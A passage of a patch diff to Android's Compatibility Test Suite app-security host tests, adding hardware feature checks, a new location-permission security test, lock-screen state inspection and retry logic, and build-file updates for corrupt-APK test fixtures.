@@ -213,7 +215,8 @@
}
private boolean isSupportedDevice() throws Exception {
- return getDevice().hasFeature(FEATURE_DEVICE_ADMIN);
+ return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
+ && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
}
private boolean isAutomotiveDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 1c83284..fc97c75 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -18,6 +18,8 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
import com.google.common.collect.ImmutableSet;
/**
@@ -26,6 +28,7 @@
*/
public class DocumentsTest extends DocumentsTestCase {
private static final String PROVIDER_PKG = "com.android.cts.documentprovider";
+ private static final String DUMMYIME_PKG = "com.android.cts.dummyime";
private static final String PROVIDER_APK = "CtsDocumentProvider.apk";
private static final String DUMMYIME_APK = "CtsDummyIme.apk";
@@ -46,7 +49,7 @@
super.tearDown();
getDevice().uninstallPackage(PROVIDER_PKG);
- getDevice().uninstallPackage(DUMMYIME_APK);
+ getDevice().uninstallPackage(DUMMYIME_PKG);
}
public void testOpenSimple() throws Exception {
@@ -124,7 +127,7 @@
}
public void testRestrictStorageAccessFrameworkEnabled_blockFromTree() throws Exception {
- if (isAtLeastR()) {
+ if (isAtLeastR() && isSupportedHardware()) {
runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
"testRestrictStorageAccessFrameworkEnabled_blockFromTree",
/* enabledChanges */ ImmutableSet.of(RESTRICT_STORAGE_ACCESS_FRAMEWORK),
@@ -133,7 +136,7 @@
}
public void testRestrictStorageAccessFrameworkDisabled_notBlockFromTree() throws Exception {
- if (isAtLeastR()) {
+ if (isAtLeastR() && isSupportedHardware()) {
runDeviceCompatTest(CLIENT_PKG, ".DocumentsClientTest",
"testRestrictStorageAccessFrameworkDisabled_notBlockFromTree",
/* enabledChanges */ ImmutableSet.of(),
@@ -153,4 +156,17 @@
return false;
}
}
+
+ private boolean isSupportedHardware() {
+ try {
+ if (getDevice().hasFeature("feature:android.hardware.type.television")
+ || getDevice().hasFeature("feature:android.hardware.type.watch")
+ || getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+ return false;
+ }
+ } catch (DeviceNotAvailableException e) {
+ return true;
+ }
+ return true;
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
new file mode 100644
index 0000000..e2ff6c6
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Tests to verify app location access */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationPolicyTest extends BaseAppSecurityTest {
+
+ private static final String TEST_PKG = "android.appsecurity.cts.locationpolicy";
+ private static final String TEST_APK = "CtsLocationPolicyApp.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ getDevice().uninstallPackage(TEST_PKG);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ getDevice().uninstallPackage(TEST_PKG);
+ }
+
+ @Test
+ @SecurityTest
+ public void testLocationPolicyPermissions() throws Exception {
+ new InstallMultiple(true).addFile(TEST_APK).run();
+ Utils.runDeviceTests(
+ getDevice(), TEST_PKG, ".LocationPolicyTest", "testLocationPolicyPermissions");
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java
new file mode 100644
index 0000000..bed2065
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LockScreenInspector.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.server.wm.KeyguardServiceDelegateProto;
+import com.android.server.wm.WindowManagerServiceDumpProto;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+class LockScreenInspector {
+ private static final String DUMPSYS_WINDOW = "dumpsys window --proto";
+
+ private Boolean mKeyguardShowingAndNotOccluded;
+ private final ITestDevice mDevice;
+
+ private LockScreenInspector(ITestDevice device) {
+ mDevice = device;
+ }
+
+ static LockScreenInspector newInstance(ITestDevice device) {
+ LockScreenInspector inspector = new LockScreenInspector(device);
+ inspector.checkCurrentState();
+ return inspector;
+ }
+
+ boolean isDisplayedAndNotOccluded() {
+ return mKeyguardShowingAndNotOccluded;
+ }
+
+ private void checkCurrentState() {
+ int retriesLeft = 3;
+ boolean retry = false;
+
+ do {
+ if (retry) {
+ CLog.w("***Retrying dump****");
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException ignored) {
+ }
+ }
+ try {
+ WindowManagerServiceDumpProto dumpProto = getDump(
+ WindowManagerServiceDumpProto.parser(), DUMPSYS_WINDOW);
+ KeyguardServiceDelegateProto keyguardProto =
+ dumpProto.getPolicy().getKeyguardDelegate();
+ mKeyguardShowingAndNotOccluded = keyguardProto.getShowing()
+ && !keyguardProto.getOccluded();
+ retry = false;
+ } catch (Exception e) {
+ CLog.w(e);
+ retry = true;
+ }
+ } while (retry && retriesLeft-- > 0);
+
+ if (retry) {
+ fail("Could not obtain lockscreen state");
+ }
+ }
+
+ private <T extends MessageLite> T getDump(Parser<T> parser, String command) throws Exception {
+ final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ mDevice.executeShellCommand(command, receiver);
+ return parser.parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
new file mode 100644
index 0000000..5731457
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * {@link TestRule} class that disables screen saver and doze settings before each test method
+ * running and restoring to initial values after test method finished.
+ */
+public class NormalizeScreenStateRule implements TestRule {
+ private final ITestInformationReceiver mTestInformationReceiver;
+
+ public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
+ mTestInformationReceiver = testInformationReceiver;
+ }
+
+ /** Doze items copied from ActivityManagerTestBase since the keys are hidden. */
+ private static final String[] DOZE_SETTINGS = {
+ "doze_enabled",
+ "doze_always_on",
+ "doze_pulse_on_pick_up",
+ "doze_pulse_on_long_press",
+ "doze_pulse_on_double_tap",
+ "doze_wake_screen_gesture",
+ "doze_wake_display_gesture",
+ "doze_tap_gesture",
+ "screensaver_enabled",
+ };
+
+ private ITestDevice getDevice() {
+ return mTestInformationReceiver.getTestInformation().getDevice();
+ }
+
+ private String getSecureSetting(String key) {
+ try {
+ CommandResult res = getDevice().executeShellV2Command("settings get secure " + key);
+ if (res.getStatus() != CommandStatus.SUCCESS) {
+ fail("Could not set setting " + key + ": " + res.getStdout());
+ }
+ return res.getStdout().trim();
+ } catch (DeviceNotAvailableException e) {
+ fail("Could not connect to device: " + e.getMessage());
+ return null;
+ }
+ }
+
+ private void putSecureSetting(String key, String value) {
+ try {
+ CommandResult res = getDevice().executeShellV2Command(
+ "settings put secure " + key + " " + value);
+ if (res.getStatus() != CommandStatus.SUCCESS) {
+ fail("Could not set setting " + key + ": " + res.getStdout());
+ }
+ } catch (DeviceNotAvailableException e) {
+ fail("Could not connect to device: " + e.getMessage());
+ }
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ final Map<String, String> initialValues = new HashMap<>();
+ Arrays.stream(DOZE_SETTINGS).forEach(
+ k -> initialValues.put(k, getSecureSetting(k)));
+ try {
+ Arrays.stream(DOZE_SETTINGS).forEach(k -> putSecureSetting(k, "0"));
+ base.evaluate();
+ } finally {
+ Arrays.stream(DOZE_SETTINGS).forEach(
+ k -> putSecureSetting(k, initialValues.get(k)));
+ }
+ }
+ };
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
index f3c3420..923810c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
@@ -55,8 +55,8 @@
@JvmStatic
@Parameterized.Parameters(name = "{1}")
fun parameters() = arrayOf(
- arrayOf(true, "throwException"),
- arrayOf(false, "failSilently")
+ arrayOf(false, "throwException"),
+ arrayOf(true, "failSilently")
)
}
@@ -80,16 +80,6 @@
device.executeShellCommand("am compat reset $CHANGE_ID $WHITELIST_PKG")
}
- @Before
- fun initializeChangeState() {
- if (failSilently) {
- device.executeShellCommand("am compat disable $CHANGE_ID $TARGET_PKG")
- device.executeShellCommand("am compat disable $CHANGE_ID $WHITELIST_PKG")
- } else {
- resetChanges()
- }
- }
-
@Test
fun notRestricted() {
runTest(removeWhitelistShouldSucceed = false,
@@ -148,6 +138,8 @@
.forUser(mPrimaryUserId)
.run()
+ setChangeState()
+
assertPermission(false, permission)
assertTargetInstaller(null)
@@ -194,6 +186,12 @@
assertGrantState(finalState, permission)
}
+ private fun setChangeState() {
+ val state = if (failSilently) "disable" else "enable"
+ device.executeShellCommand("am compat $state $CHANGE_ID $TARGET_PKG")
+ device.executeShellCommand("am compat $state $CHANGE_ID $WHITELIST_PKG")
+ }
+
private fun assertTargetInstaller(installer: String?) {
assertThat(device.executeShellCommand("pm list packages -i | grep $TARGET_PKG").trim())
.isEqualTo("package:$TARGET_PKG installer=$installer")
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 1128c8f..557596a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -25,7 +25,6 @@
import static org.junit.Assert.fail;
import com.android.compatibility.common.util.HostSideTestUtils;
-import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,6 +32,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -66,6 +66,9 @@
private boolean mSupportsMultiUser;
+ @Rule
+ public NormalizeScreenStateRule mNoDozeRule = new NormalizeScreenStateRule(this);
+
@Before
public void setUp() throws Exception {
assertNotNull(getAbi());
@@ -311,7 +314,23 @@
}
private void deviceLock(int userId) throws Exception {
- runDeviceTestsAsUser("testLockScreen", userId);
+ int retriesLeft = 3;
+ boolean retry = false;
+ do {
+ if (retry) {
+ CLog.i("Retrying to summon lockscreen...");
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException ignored) {}
+ }
+ runDeviceTestsAsUser("testLockScreen", userId);
+ retry = !LockScreenInspector.newInstance(getDevice()).isDisplayedAndNotOccluded();
+ } while (retriesLeft-- > 0 && retry);
+
+ if (retry) {
+ CLog.e("Could not summon lockscreen...");
+ fail("Device could not be locked");
+ }
}
private void deviceEnterLskf(int userId) throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
index 915d9a9..0994422 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
@@ -32,4 +32,28 @@
"vts10",
"general-tests",
]
+}
+
+android_test_import {
+ name: "CtsCorruptApkTests_Unaligned_Q",
+ apk: "unaligned_Q.apk",
+ presigned: true,
+ preprocessed: true,
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ]
+}
+
+android_test_import {
+ name: "CtsCorruptApkTests_Unaligned_R",
+ apk: "unaligned_R.apk",
+ presigned: true,
+ preprocessed: true,
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ]
}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk
deleted file mode 100644
index ae419b65..0000000
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2020 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsCorruptApkTests_Unaligned_Q
-LOCAL_SRC_FILES := unaligned_Q.apk
-LOCAL_MODULE_CLASS := APPS
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_SUFFIX := .apk
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/unaligned_Q.apk
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsCorruptApkTests_Unaligned_R
-LOCAL_SRC_FILES := unaligned_R.apk
-LOCAL_MODULE_CLASS := APPS
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_SUFFIX := .apk
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/unaligned_R.apk
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
-include $(BUILD_PREBUILT)
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
index b574029..93a223d 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
@@ -17,5 +17,6 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.content.cts.corruptapk" >
- <application android:hasCode="false" />
+ <application android:hasCode="false"
+ android:debuggable="true"/>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
index 58c30cd..afaac5d 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
index 1bdd2bb..ecb009f 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
index b6023bc..a17200b 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
index e64bcfd..7296b84 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 40d8ff4..03746fe 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -713,6 +713,7 @@
final Uri rootsUri = DocumentsContract.buildRootsUri(PROVIDER_PACKAGE);
final Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.setPackage(getDocumentsUiPackageId());
intent.setDataAndType(rootsUri, "vnd.android.document/root");
mActivity.startActivity(intent);
mDevice.waitForIdle();
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 88601e5..8e3a970 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -22,6 +22,7 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.accessibilityservice.AccessibilityService;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -204,10 +205,9 @@
mDevice.waitForIdle();
}
- private void retryPressKeyCode(int keyCode, BooleanSupplier waitFor, String msg) {
+ private void waitFor(String msg, BooleanSupplier waitFor) {
int retry = 1;
do {
- mDevice.pressKeyCode(keyCode);
if (waitFor.getAsBoolean()) {
return;
}
@@ -221,9 +221,10 @@
private void summonKeyguard() throws Exception {
final PowerManager pm = mDe.getSystemService(PowerManager.class);
- retryPressKeyCode(KeyEvent.KEYCODE_SLEEP, () -> pm != null && !pm.isInteractive(),
- "***Waiting for device sleep...");
- mDevice.waitForIdle();
+ mDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP);
+ getInstrumentation().getUiAutomation().performGlobalAction(
+ AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN);
+ waitFor("display to turn off", () -> pm != null && !pm.isInteractive());
}
public void assertLocked() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index fad87d2..8fdf859 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -103,7 +103,7 @@
* Verify we can write to our own package dirs.
*/
public void testAllPackageDirsWritable() throws Exception {
- final long testValue = 12345000;
+ final long testValue = 1234500000000L;
final List<File> paths = getAllPackageSpecificPaths(getContext());
for (File path : paths) {
assertNotNull("Valid media must be inserted during CTS", path);
@@ -278,6 +278,12 @@
}
}
+ public static void assertDirReadWriteAccess(File[] paths) {
+ for (File path : paths) {
+ assertDirReadWriteAccess(path);
+ }
+ }
+
public static void assertDirReadWriteAccess(File path) {
Log.d(TAG, "Asserting read/write access to " + path);
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
similarity index 67%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index d957080..b7174d2 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -1,4 +1,3 @@
-//
// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,26 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
-android_test_helper_app {
- name: "CtsAutoRevokeWhitelistedDummyApp",
+android_test {
+ name: "CtsLocationPolicyApp",
defaults: ["cts_defaults"],
- sdk_version: "test_current",
- // Tag this module as a cts test artifact
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "telephony-common",
+ ],
+ srcs: ["src/**/*.java"],
+ platform_apis: true,
test_suites: [
"cts",
- "vts",
"vts10",
- "mts",
+ "sts",
"general-tests",
],
- srcs: ["src/**/*.java", "src/**/*.kt"],
+ min_sdk_version: "27",
+ target_sdk_version: "28",
}
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
new file mode 100644
index 0000000..ed9d1fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appsecurity.cts.locationpolicy">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.appsecurity.cts.locationpolicy"
+ android:label="Test to check location policy access for bad sdk."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
new file mode 100644
index 0000000..74ce0c5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.locationpolicy;
+
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationPolicyTest {
+
+ private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+ @Test
+ @SecurityTest
+ public void testLocationPolicyPermissions() throws Exception {
+ assertNotNull(mContext);
+ PackageManager pm = mContext.getPackageManager();
+ assertNotNull(pm);
+ assertNotEquals(
+ PackageManager.PERMISSION_GRANTED,
+ pm.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+ mContext.getPackageName()));
+ assertNotEquals(
+ PackageManager.PERMISSION_GRANTED,
+ pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
+ mContext.getPackageName()));
+ TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
+ try {
+ tele.getCellLocation();
+ fail(
+ "ACCESS_FINE_LOCATION and ACCESS_COARSE_LOCATION Permissions not granted. Should have"
+ + " received a security exception when invoking getCellLocation().");
+ } catch (SecurityException ignore) {
+ // That's what we want!
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 987efde..603ff5b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -210,18 +210,6 @@
fail("Expected write access to be blocked");
} catch (SecurityException | FileNotFoundException expected) {
}
-
- // Verify that we can't grant ourselves access
- for (int flag : new int[] {
- Intent.FLAG_GRANT_READ_URI_PERMISSION,
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- }) {
- try {
- mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
- fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
- } catch (SecurityException expected) {
- }
- }
}
@Test
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
index 990ef49..ae9171c 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
@@ -28,7 +28,7 @@
"general-tests",
],
sdk_version: "test_current",
- target_sdk_version: "30",
+ target_sdk_version: "29",
// sign this app with a different cert than CtsPkgInstallerPermWhitelistApp
certificate: ":cts-testkey2",
}
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
index 7d0ab56..3c76813 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
